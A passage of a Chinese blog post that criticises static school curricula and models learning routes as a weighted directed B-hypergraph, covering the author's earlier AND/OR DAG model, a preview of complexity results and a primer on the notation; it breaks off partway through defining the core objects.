&lt;p&gt;换句话说，怎样把优质的学习路线从小部分高知群体偶尔个人手工产出，转变为使用机器批量的产出？怎样把定制化的优质学习路线从师徒制的私塾里解放到全社会的学习者触手可及的地方？&lt;/p&gt;
&lt;p&gt;既然学习路线才是学习效率的决定性因素，于是我又不得不思考：为什么现代的教育体系中，一般使用的学习路线如此低效呢？在学习目标确定的情况下，如何以更低的成本、更快地获得目标知识呢？&lt;/p&gt;
&lt;h2 id="学习效率的矛盾"&gt;学习效率的矛盾
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;在复杂事物的发展过程中，存在许多矛盾，其中必有一种是主要的矛盾。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在“学习路线是学习效率的决定性因素”这一前提下，那么提高学习效率的关键就在于学习路线的优化了。&lt;/p&gt;
&lt;p&gt;如果实际思考过怎样优化自己的学习路线，实际上会很容易发现下面这些现象。&lt;/p&gt;
&lt;h3 id="课程编排不因材施教"&gt;课程编排不因材施教
&lt;/h3&gt;&lt;p&gt;学生能接触到的学习路径，通常由学校的课程编排、教材章节或授课老师等外部因素决定。但每个人知识的掌握程度不同，适合的学习路径各不相同，学习目标也不相同，这导致他们实际能接触到的路径往往不符合自己当前的状态的最优解。&lt;/p&gt;
&lt;p&gt;同时，为了了解某些具体的现实实用概念的工科学生，却不得不跟着教授编排的教纲，按照理科的标准学完课程参与考试，被迫理解非常多必要之外的知识，就像学习打螺丝，大多数时候并不需要理解螺丝的历史和生产流程。&lt;/p&gt;
&lt;h3 id="祖宗之法不可不变"&gt;祖宗之法不可不变
&lt;/h3&gt;&lt;p&gt;学术界的总体知识在不断进步，新理论的引入能够极大简化知识体系。比如算子理论和希尔伯特空间极大简化了高校工科数学的推导路径，有潜力大幅缩短各类科目的学习路径。&lt;/p&gt;
&lt;p&gt;然而学校的教材和教纲往往是祖宗之法，不可变动。这导致实际的教学路径往往明显落后于潜在的最佳路径。&lt;/p&gt;
&lt;p&gt;从义务教育到高中到大学，相信读者一定亲身体会过学习了新知识新概念之后，这些新内容对于先前的考试的降维打击。如果在既有上下文一定的情况下，理解相同的新信息需要的成本视作理解能力的话，上面说的这种升年级之后的降维打击并不能体现任何学生理解能力的进步，反而事实上证明了学习路线设计的不合理。&lt;/p&gt;
&lt;h3 id="少学反而更慢"&gt;少学反而更慢
&lt;/h3&gt;&lt;p&gt;有时候，少学点知识反而学的更慢。在引入更多知识的情况下，有时反而大幅提高学习效率。看似反直觉，但例子其实相当多，也相当显然。关于这一点我觉得非常值得单独列出来举几个例子说一下，因为它带来的问题可能比前面两个会更大：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一种情况：假设学习目标是 $A, B, C$ ，传统课程可能只会安排 $A \to B \to C$ 。但实际上存在一个目标外概念 $X$，可以 $A \to X \to B \to C$，乍看多学了一个东西，似乎更慢。但如果：$$w(A, B) = 10, \qquad w(A, X) = 2, \qquad w(X, B) = 1$$直接学 $B$，成本是 10，先 $X$ 后 $B$ ，学习成本是 $2 + 1 = 3$ 。于是 $A \to X \to B \to C$ 反而是更高效的路径：$$w(A \to X) + w(X \to B) &amp;lt; w(A \to B)$$ 然而，继承优秀传统八股文化的考试、面向这样的考试而设立的课程、种种社会压力，无疑会阻止学生学习课纲外的内容，老师们给出的原因无非是高考或是什么的考试里，写这个洛必达不给分云云。有些极端的地方甚至早已形成了嘲讽自行学习微积分等课纲外的高校内容的中学生的歪风邪气，称这些求知的学生为做题区嘉豪，这样的事情在某些高考压力大的省份发生的尤为频繁，有些读者相信会感同身受。至于为什么本该在传说中自我调节的市场经济社会却产生了这样的考试和这样的课程，我们就不深入思考了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;另一种情况：大学的课程往往反复教了同一个东西很多遍，但每一门课都把它伪装成一个全新的技巧。假设学习目标是 $A, B, C$ ，大多中国的学校往往会喜欢这样教：$$\varnothing \to X_1 \to A, \qquad \varnothing \to X_2 \to B, \qquad \varnothing \to X_3 \to C$$ 其中 $w( \varnothing \to X_n )$ 非常大，不同的 $X_n$ 却使用结构类似的推演流程。往往老师这时就喜欢说：“这就是数学之美，冥冥之中存在着联系。” 台下学生不明觉厉，深以为然。但是，如果首先进一步发现 $X$ 本身就是一个更高层次的共同结构，此时由 $X$ 可以衍生的概念的学习效率会发生质变。进而可以以极低的成本：$$X \to {X_1, X_2, X_3}$$ 那么再找到 $A, B, C$ 等特例的成本也极低。因为 $X$ 作为一次抽象产生的知识，可以作为多个后续节点的共同前置条件：$$w(\lbrace X, X_1\rbrace \to A) &amp;lt; w(X_1 \to A)$$ 以我的学校的课程编排举例，具体编排可能忘了，可能大概是：$$高数→线性代数→概率论→离散数学→信号与系统$$ 到了信号与系统，学生会突然被要求学习傅立叶级数、傅立叶变换、拉普拉斯变换、Z 变换、卷积、频域、系统函数。可能自动化学院在自动控制里面，又要学一遍拉普拉斯，极点零点，频率响应，到了数字信号处理，把 Z 变换、DTFT、DFT、FFT 又学了一遍。这很容易有一种强烈的错觉，这些都是不同课程里的不同形式，我得分别记住它们的公式和推导和性质。但如果你稍微越过传统工科教纲一步，先引入一个更高层次的概念，只要有非常入门级的算子理论，理解函数空间上的内积与正交展开，把求导变成作用在函数空间上的算子 $D$ ，立刻可以复用线性代数的知识，就像特征向量一样，因为 $De^{i\omega t} = ie^{i\omega t}$ ，自然就知道它是微分算子的特征函数，所以傅立叶分析的核心思想自然而然就成为了：找到一组在某个算子作用下行为特别简单的基函数。换成 $e^{st}$ ，变成复平面，就成了拉普拉斯变换，微分算子换成移位算子，就变成了 Z 变换。如果进一步引入算子谱定理，立刻就知道，微分变换成乘法是来自微分算子的谱表示，卷积变成乘法来自平移算子及其谱表示，各种逆变换来自谱表示的可逆重构，频域求解微分方程本质上是把算子变换到更容易求逆的表示中。例子太多，再说就扯远了，但足以证明，有些教学路线为了避免让本科生提前接触函数空间、算子和谱理论，看起来少学了一些抽象数学，却不得不让学生在后续课程中反复证明同一类性质、反复记忆不同变换的公式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;上面这种类型的类似错误教学方式还有很多，它们已经在事实上荼毒学生的思维。因为它们扼杀了学生的求知欲，转而又进一步封锁了从感性认识上升到理性认识的通道。&lt;/p&gt;
&lt;p&gt;“冥冥之中万物有联系”，终究是停留在冥冥之中的感性认识，就像是中医。不去上升到理性认识，反而是不断强化形而上学的规律，最终沉沦于题海之中，把学生当成大模型，把题目当成语料去训练，拟合考试题目。最终并不会真正习得背后的规律，结局反而是过拟合，丢失理解规律背后本质的能力。相当多的学生仍然蒙在鼓里，把重复反复推演的痛苦等同为学习的痛苦，在以后的自学道路上也这样做，百害而无一利。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="真正的主要矛盾"&gt;真正的主要矛盾
&lt;/h3&gt;&lt;p&gt;上面这三条现象可以被分别概括为这三条矛盾：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;外部决定的路径与个体适配路径的矛盾&lt;/li&gt;
&lt;li&gt;固定教学大纲与学术界知识演进的矛盾&lt;/li&gt;
&lt;li&gt;学习内容最小化与学习成本最小化之间的矛盾&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们不难发现它们总是存在的共同点。现代教育系统能够让学生接触的路径是预先划定范围的、静态的、标准化的路径，而学习本身却是不限范围的、动态的、个人化的过程。因此我们总结：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学习效率的主要矛盾，是既定学习路线自身的局部静态与最优学习路线的全局动态之间的矛盾&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;事物矛盾的法则，是对立统一的法则。既定学习路线和最优学习路线，相互对立，又相互统一；互为依赖，又相互制约。&lt;/p&gt;
&lt;p&gt;既定学习路线要沿着当前路线走，找到最优路线要不断重新选择路线，这体现了二者的对立。&lt;/p&gt;
&lt;p&gt;但如果完全没有既定路线，每学一个概念都重新搜索整个知识体系；反过来，如果不去寻找全局动态最优，你永远执行第一次制定的路线，那么你又无法利用时刻产出的新知识。&lt;/p&gt;
&lt;p&gt;因此，“如何提高学习效率”这一核心问题，现在变成了：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何在全局知识和已有知识不断变化的过程中，持续找到通往目标知识的最优路径&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;2026.8.25 编辑：&lt;/p&gt;
&lt;p&gt;思路差不多说完了，打个广告，对这个话题感兴趣的可以加群一块讨论：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/learning-route-hypergraph/DerivonResearch-QGroup.jpg"
width="1284"
height="2289"
srcset="https://v3n0.com/post/2026/learning-route-hypergraph/DerivonResearch-QGroup_hu_c915ac0f78753217.jpg 480w, https://v3n0.com/post/2026/learning-route-hypergraph/DerivonResearch-QGroup_hu_33ce0a66ef9f9216.jpg 1024w"
loading="lazy"
alt="Q-group"
class="gallery-image"
data-flex-grow="56"
data-flex-basis="134px"
&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="学习路线的建模历程"&gt;学习路线的建模历程
&lt;/h2&gt;&lt;p&gt;最开始，我还没有意识到这是个动态优化问题。三个月前我最开始其实只是想做一个优质教程共享平台，让任何人都可以写教程，把优质的教程放在平台上，辅以 AI 帮助教学和检验理解，引入交互式的可视化的教学元素。希望这样一来，优质的教程自然会被用户选择，进而被热门推送。&lt;/p&gt;
&lt;p&gt;首先是尝试我一直惯用的套路，直接去列几个对象，再给对象列字段等等，准备拿它做数据库表。大概分了 Course, Chapter, Concept 等层级，尝试让 AI 判断用户是否真正理解概念，其实还是受现有的教学逻辑限制，是一套形而上学的思路。&lt;/p&gt;
&lt;p&gt;这时我发现，我的教程仍然是一个线性的固定的教程，问题随之暴露出来：概念学习并没有唯一顺序。学习信号与系统时，欧拉公式只需要在第一次使用前掌握，并不天然属于某一章的固定位置。因此教程不一定非得是线性的，但模型限制了这一点。&lt;/p&gt;
&lt;p&gt;于是我把教程变成了图，章节是点。但不同章节各种概念有相互依赖，有包含，有相关等关系，只好把章节之间的关系分成多种类别。&lt;/p&gt;
&lt;p&gt;我被逼到开始用图表达知识，却仍然被限制在传统的科目、教材、章节、小节的框架里。最后我才意识到问题。既然核心问题是找到最优路径，事实上为什么我不直接对知识本身进行建模？&lt;/p&gt;
&lt;p&gt;能否把学习路径变成一个可以被建模、计算和优化的问题？形象一点的说，能不能把知识体系变成地图，在这张地图上做导航软件？&lt;/p&gt;
&lt;p&gt;我们不得不需要一个可靠的参照来指导我们软件的代码实现，于是我重新开始尝试建模。&lt;/p&gt;
&lt;p&gt;任何的要学习的知识都是一个“概念”，我要学数学，数学是个概念，线性代数是一个概念，行列式又是一个概念，同一层级的概念可以相互推演，概念又可以被拆分为更小的概念，可以组合成更大的概念。似乎所有要学习的内容都是一个概念。抱着这样的想法我开始尝试把之前的概念画成不区分教程、章节等层级的，可以嵌套的思维导图，一切都只是概念。&lt;/p&gt;
&lt;p&gt;在草稿纸上画了半天，我发现这些逻辑用自然语言或是图形语言是根本描述不清楚的：它容易漏掉一些情况，会在一定程度上导致模糊的行为。我指的“漏掉情况”，并不只是漏掉边界条件这么简单，而是指那些会直接影响整个模型是否可以稳定写成代码，找到路径的算法是否可实现的关键情况。我不希望在付出代码实现成本之后，回头才发现这些问题。&lt;/p&gt;
&lt;p&gt;所以为了必须做到这种精度的建模需求，我选择引入数学工具来描述数据模型，这就是我为什么需要用数学。数学从来都不是被用来伪装思路正确的东西，数学是一个帮助人把问题抽象化的工具，帮人把问题真正理清楚。&lt;/p&gt;
&lt;h3 id="上一版-and--or-dag-的模型问题"&gt;上一版 AND / OR DAG 的模型问题
&lt;/h3&gt;&lt;p&gt;上一篇&lt;a class="link" href="https://v3n0.com/post/2026/everything-is-concept/" target="_blank" rel="noopener"
&gt;《万物皆概念：如何最大化学习速度？》&lt;/a&gt;中，我已经正在着手做一个“万物皆概念”版本的知识图谱数学模型。&lt;/p&gt;
&lt;p&gt;我先大概简述一下上一篇所建立的模型经历的过程：我把概念视为点，相邻概念之间的推导视作有向边，把无环作为模型的公理，尝试构建一个概念的 DAG 图（有向无环图）。当时引入无环公理是为了避免教程里出现循环论证，真的有环的话，打算让用户另外起一个 Wiki 图，因为当时认为应当不属于同一份教程。在此基础上，定义如何把某一概念拆分成更细的 DAG 图，定义如何封装 DAG 子图为更大概念。通过给边加权，权用来代表学习成本，进而实现动态规划最优路线。&lt;/p&gt;
&lt;p&gt;然后我发现，推导并不是简单的一个概念指向另一个概念，推导可能是由众多概念推出来下一个概念。因此我把每一个概念的入边进行了分组，属于同一个推导流程的分为一个 AND 组，同一个概念的入边 AND 组之间的关系是 OR。&lt;/p&gt;
&lt;p&gt;然后我发现我漏掉了一件事，每个概念的推导过程等属性还被我落在边上，而不是 AND 组上。于是在上篇文章结尾，我在 2026.8.19 补了一处修正：问题引入、推导解答和理解材料，不属于单条边，而属于整个 AND 组。&lt;/p&gt;
&lt;p&gt;当时以为是一个小修正，写完发现实际上这引导出了 AND / OR DAG 这个模型体系的一些固有问题。AND / OR 似乎是一个描述太过复杂的对象，不便推演。同时，我使用了太多教学和学习领域专有的内容作为名词，并没有把它当成一个真正的数学模型，这会导致并不能专注于模型本身。&lt;/p&gt;
&lt;p&gt;但这次数学建模的尝试真真确确已经带来了相当多的好处，也让我坚定了数学建模这条路。建立模型之后，通过套用前人的数学结论，往往可以得到一些之前从来没考虑到的优秀性质，可以立刻察觉到之前从来没考虑到的逻辑疏漏，可以帮我提前排出一些技术实现的风险。&lt;/p&gt;
&lt;p&gt;当我愿意把模型当作纯数学对象进行处理时，也才能意识到这样的数学对象事实上不止可以适用于规划学习路线，事实上可以用于规划任何路线，典型的例子就是硬件仿真路线的优化。这在透过现象看本质之前，是不可能实现的。一旦把具体对象抽象成它背后的关系结构，原本只存在于一个领域中的规律，才有可能被迁移到另一个领域。&lt;/p&gt;
&lt;p&gt;借助这些探索，我也从数学推演中反应过来一些之前从没考虑到的问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;知识并不是以 DAG 的形式存在的，有些知识恰恰就是可以以环的形式存在，相互推演得到的。例如通过欧拉公式，我们可以从指数函数得到正弦函数，也可以从正弦函数得到指数函数。我想避免的只是同义反复，例如线性和叠加原理。如果一个教程里说，线性就是满足叠加原理，叠加原理是线性系统的性质，那等于是什么都没说，相当于引入了一条公理而不是定理。&lt;/li&gt;
&lt;li&gt;概念不是可以随意拆分的，也不是可以随意封装的。它远远不只是把其中一段 DAG 在纸上画一个圈标出来这么简单。这导致之前想象的概念的拆分和封装的预估难度骤然变大。但也不是说不可实现，因为概念的封装和拆分显然是现实中存在，并且高度有价值的。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我反思。当时试图把它做成一个 DAG，引入无环这一模型中的公理，是为了避免教程中出现循环论证。可是我的初衷却是对知识进行建模。教程只会是知识的一个子图，我却让教程的性质变成了知识的公理。我只需要教程是无环的即可，不需要让知识也是无环的。我又一次被做教程的思维限制住了思路。&lt;/p&gt;
&lt;p&gt;之后我尝试重构了这个模型。上一版模型最严重的几个问题反而不是上篇文章末尾的几个问题了，实际上最大的问题总结如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;没有专注于数学本身。&lt;/li&gt;
&lt;li&gt;为了弥补多条件的知识推导而引入了 AND / OR ，不论从代码实现还是数学论证时的观感上都像是补丁的东西，又把推导成本，这个权重给粘在了 AND 组上面。&lt;/li&gt;
&lt;li&gt;把知识图谱限制为无环，限制了表达的上限，不同教程无法在同一张知识图谱存在，违背时刻计算新学习路线的初衷。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，如何改进这个模型也是明确的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;专注于数学对象本身。&lt;/li&gt;
&lt;li&gt;把 AND 组单独作为对象，而放弃边。&lt;/li&gt;
&lt;li&gt;验证，如果不限制无环，模型是否还能成立。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="加权有向-b-超图"&gt;加权有向 B-超图
&lt;/h2&gt;&lt;p&gt;上面三条改进目标，最后收敛成了一个数学对象：&lt;strong&gt;加权有向 B-超图&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;它的全部内容是：一堆点，和一堆「多个前提共同推出一个结论」的带权连接。没有概念，没有教程，没有 AND 组，没有 OR 组，也不要求无环。&lt;/p&gt;
&lt;p&gt;定义就这么点，但立完之后能推出来的东西超出我的预期。为了避免读者在后面七节里迷路，先把结论摆出来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AND 组和 OR 组可以被完全消掉。&lt;/strong&gt; 不是绕过去，是能构造双射证明它们不携带任何独立信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权只能挂在超边上，边级权在数学上无解。&lt;/strong&gt; 这是上一篇结尾那处修正的完整版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无环公理可以删掉，而且删掉后模型比原来更宽松。&lt;/strong&gt; 欧拉公式那种好环得以保留，线性与叠加原理那种同义反复自动失效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可达性判定是线性时间的。&lt;/strong&gt; 因为它和 Horn 子句的最小模型是同一件事。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我真正想要的那个成本口径是 NP-hard 的，而且不可近似。&lt;/strong&gt; 这是整个模型里最坏的消息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;但它被夹在两个多项式可算的界之间，而且上界自带一条真实可走的路径。&lt;/strong&gt; 于是任何时刻都有可推荐的路线，外加一个「最多差多少」的证明上界。实测还要好：随机图上区间有 97~99% 直接闭合，连搜索都不用启动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区间宽度本身又是一个知识图质量的诊断指标。&lt;/strong&gt; 代价是它同时也是难度指标：&lt;strong&gt;图越接近我们想要的样子，就越靠近难解那一端。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;「理解倍率」不能定义为路线计数。&lt;/strong&gt; 那是计数困难问题，上一篇里的那个设想可以判死刑了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;概念封装只在两个严格条件下保真&lt;/strong&gt;，而上一版凭直觉立的「禁止递归交集」，恰好就是其中之一。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面七节先把这个对象定义清楚，再逐条给出上面这些结论的证明或反例，并说明它们解决了上一版的哪些问题、又留下了哪些新问题。&lt;/p&gt;
&lt;p&gt;下面每一条结论我都要求自己要么给出证明、要么给出反例，能写成代码对拍的一律对拍。全部代码在 &lt;a class="link" href="https://github.com/derivon-research/paper" target="_blank" rel="noopener"
&gt;derivon-research/paper&lt;/a&gt;，无第三方依赖。根目录的 &lt;a class="link" href="https://github.com/derivon-research/paper/blob/main/derivon_core.py" target="_blank" rel="noopener"
&gt;&lt;code&gt;derivon_core.py&lt;/code&gt;&lt;/a&gt; 是参考实现（线性时间闭包、两个多项式界、集合成本的分支定界），&lt;code&gt;verification/&lt;/code&gt; 下是各条结论的机器验证。后文每处实测数据都会链到对应的那段代码。&lt;/p&gt;
&lt;h3 id="阅读前的数学补充"&gt;阅读前的数学补充
&lt;/h3&gt;&lt;p&gt;这一节是给数学基础不好的读者准备的。全文真正用到的工具只有四类：集合、函数、逻辑连接词、求最小值。另有三个稍专门的概念：最小不动点、超图、计算复杂度。熟悉的读者可以直接跳到下一节。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;符号速查。&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;读作&lt;/th&gt;
&lt;th&gt;意思&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$p \in P$&lt;/td&gt;
&lt;td&gt;$p$ 属于 $P$&lt;/td&gt;
&lt;td&gt;$p$ 是集合 $P$ 里的一个元素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$T \subseteq P$&lt;/td&gt;
&lt;td&gt;$T$ 包含于 $P$&lt;/td&gt;
&lt;td&gt;$T$ 的每个元素都在 $P$ 里&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$U \cup V$ / $U \cap V$&lt;/td&gt;
&lt;td&gt;并 / 交&lt;/td&gt;
&lt;td&gt;合起来 / 公共部分&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\varnothing$&lt;/td&gt;
&lt;td&gt;空集&lt;/td&gt;
&lt;td&gt;没有任何元素的集合&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\lvert U \rvert$&lt;/td&gt;
&lt;td&gt;$U$ 的势&lt;/td&gt;
&lt;td&gt;集合里元素的个数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$2^{P}$&lt;/td&gt;
&lt;td&gt;$P$ 的幂集&lt;/td&gt;
&lt;td&gt;$P$ 的&lt;strong&gt;所有子集&lt;/strong&gt;组成的集合；若 $\lvert P \rvert = n$ 则共 $2^{n}$ 个&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$f : U \to V$&lt;/td&gt;
&lt;td&gt;$f$ 从 $U$ 映到 $V$&lt;/td&gt;
&lt;td&gt;一个函数，输入取自 $U$，输出落在 $V$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\wedge$ / $\vee$&lt;/td&gt;
&lt;td&gt;且 / 或&lt;/td&gt;
&lt;td&gt;逻辑连接词&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\Rightarrow$ / $\iff$&lt;/td&gt;
&lt;td&gt;推出 / 当且仅当&lt;/td&gt;
&lt;td&gt;单向蕴含 / 双向等价&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$C^{*}$&lt;/td&gt;
&lt;td&gt;$C$ 星&lt;/td&gt;
&lt;td&gt;上标星号表示「最优值」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;大 O&lt;/td&gt;
&lt;td&gt;耗时随规模增长的量级&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;集合语言。&lt;/strong&gt; 三个集合贯穿全文：$P$ 是全体点，$S$ 是学习者已经掌握的点，$K$ 是推导过程中的当前状态。学习的过程就是 $K$ 从 $S$ 开始不断变大。「$T$ 里所有点都已掌握」这句话，写成集合语言就是 $T \subseteq K$——不需要逐个检查，一个符号就说完了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;双射。&lt;/strong&gt; 要证明「换一种写法没有丢信息」，标准做法是构造一个来回都能走通、且走一圈回到原处的对应，叫双射。能构造出来，就说明两种写法携带完全相同的信息，删掉一边不损失任何东西。后面「AND / OR 组可以被完全消掉」就是这么证的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两种范式。&lt;/strong&gt; 同一个逻辑条件有两种标准写法。&lt;strong&gt;合取范式&lt;/strong&gt;是「若干个『或』用『且』连起来」，例如 $(I_1 \vee I_2) \wedge (I_3 \vee I_4)$；&lt;strong&gt;析取范式&lt;/strong&gt;是把它展开成「若干个『且』用『或』连起来」，即 $(I_1 \wedge I_3) \vee (I_1 \wedge I_4) \vee (I_2 \wedge I_3) \vee (I_2 \wedge I_4)$。两者逻辑等价，但长度可以差很多：左边 4 个条件，右边 4 项；若有 $k$ 组这样的「或」，左边是 $2k$ 个条件，右边却有 $2^{k}$ 项。这个爆炸后面会在概念封装那里原样出现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最小不动点。&lt;/strong&gt; 「不动点」指对某个操作而言输入等于输出的东西。本文的操作是「扫一遍所有连接，把前提已经齐了的那些的结论加进来」。算法上就是最朴素的做法：从 $S$ 出发反复扫描，直到某一轮没有任何新东西可加。因为点的总数有限、集合只增不减，这个过程一定会停——这就是「一定存在且唯一」的工科版理由，Knaster–Tarski 定理&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;只是把它严格化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;图与超图。&lt;/strong&gt; 有向图是点加带箭头的边。&lt;strong&gt;路径&lt;/strong&gt;是一串首尾相接的点，走成一条线，既不分叉也不汇合。&lt;strong&gt;超边&lt;/strong&gt;把「一条边只能一个起点」的限制放开：$(\lbrace A,B \rbrace, D)$ 表示 $A$ 和 $B$ 都有了才能得到 $D$，画出来是两条线汇进一个箭头。&lt;strong&gt;B-超图&lt;/strong&gt;指每条超边只有一个终点，「尾」指前提集合，「头」指结论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复杂度。&lt;/strong&gt; $O(n)$ 表示耗时大致随规模线性增长。&lt;strong&gt;NP-hard&lt;/strong&gt; 的实践含义是：不要指望写出一个在所有输入上都快的精确算法。&lt;strong&gt;归约&lt;/strong&gt;记作 $\Pi_1 \le_{p} \Pi_2$，含义是「如果我能快速解 $\Pi_2$，就能拿它快速解 $\Pi_1$」，所以 $\Pi_2$ 不会比 $\Pi_1$ 容易。&lt;strong&gt;不可近似&lt;/strong&gt;比 NP-hard 更强一层：不但精确解算不出来，连「保证结果不超过最优解若干倍」的打折算法也不存在。&lt;/p&gt;
&lt;h3 id="分层与核心对象"&gt;分层与核心对象
&lt;/h3&gt;&lt;p&gt;上一版最大的毛病是「没有专注于数学本身」。要治它，得先有一条硬判据，否则「学习」相关的词还会不断渗回来。&lt;/p&gt;
&lt;p&gt;我定的判据只有一条：&lt;strong&gt;一个字段只有在被核心算法读取时，才能进入核心层。&lt;/strong&gt; 核心算法只有三个——可达性判定、最低成本求解、可执行序生成。按这条筛，上一版的 &lt;code&gt;definition&lt;/code&gt;、&lt;code&gt;question&lt;/code&gt;、&lt;code&gt;answer&lt;/code&gt;、&lt;code&gt;materials&lt;/code&gt; 全部出局，它们从不被这三个算法读取；权留下，因为求解器读它。&lt;/p&gt;
&lt;p&gt;于是分成三层，下层不知道上层的存在：&lt;/p&gt;
&lt;pre class="mermaid"&gt;
flowchart TB
APP[&amp;#34;应用层：学习路线规划 · 硬件仿真迭代 · Agent 任务规划&amp;#34;]
MOD[&amp;#34;模块层：概念的封装与展开（可选，可以整体不要）&amp;#34;]
CORE[&amp;#34;核心层：点 · 超边 · 图 · 成本&amp;#34;]
APP --&amp;gt;|依赖| MOD
MOD --&amp;gt;|依赖| CORE
APP -.-&amp;gt;|&amp;#34;标定权重&amp;#34;| CORE
&lt;/pre&gt;
&lt;p&gt;核心层一共七个名字，其中只有前三个需要持久化：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;记号&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$p \in P$&lt;/td&gt;
&lt;td&gt;基本对象。核心层不假设它有内部结构，也不承诺它代表什么&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hyperedge&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$h = (T, y, w)$&lt;/td&gt;
&lt;td&gt;一个推导&lt;strong&gt;步骤&lt;/strong&gt;。$T \subseteq P$ 是尾（前提集），$y \in P$ 是头（结论），$w \ge 0$ 是完成这一步的成本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Graph&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$G = (P, H)$&lt;/td&gt;
&lt;td&gt;加权有向 B-超图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;State&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$K \subseteq P$&lt;/td&gt;
&lt;td&gt;当前已获得的点集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Derivation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$R \subseteq H$&lt;/td&gt;
&lt;td&gt;见证目标可从起点得出的&lt;strong&gt;一整组&lt;/strong&gt;超边&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Query&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$(S, t)$&lt;/td&gt;
&lt;td&gt;起点集与目标点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$C(R)$&lt;/td&gt;
&lt;td&gt;Derivation 的成本&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这里有个容易混的地方要先说清：&lt;strong&gt;Hyperedge 是一个步骤，Derivation 是一整组步骤。&lt;/strong&gt; 相应地 $\lvert T(h) \rvert$ 说的是「某一步需要几个前提」，$\lvert R \rvert$ 说的是「这次推导一共有几步」。另外，$T$ 取自 tail（尾），不是 target；目标一律用小写 $t$。&lt;/p&gt;
&lt;p&gt;一步推导的规则简单到有点无聊：&lt;/p&gt;
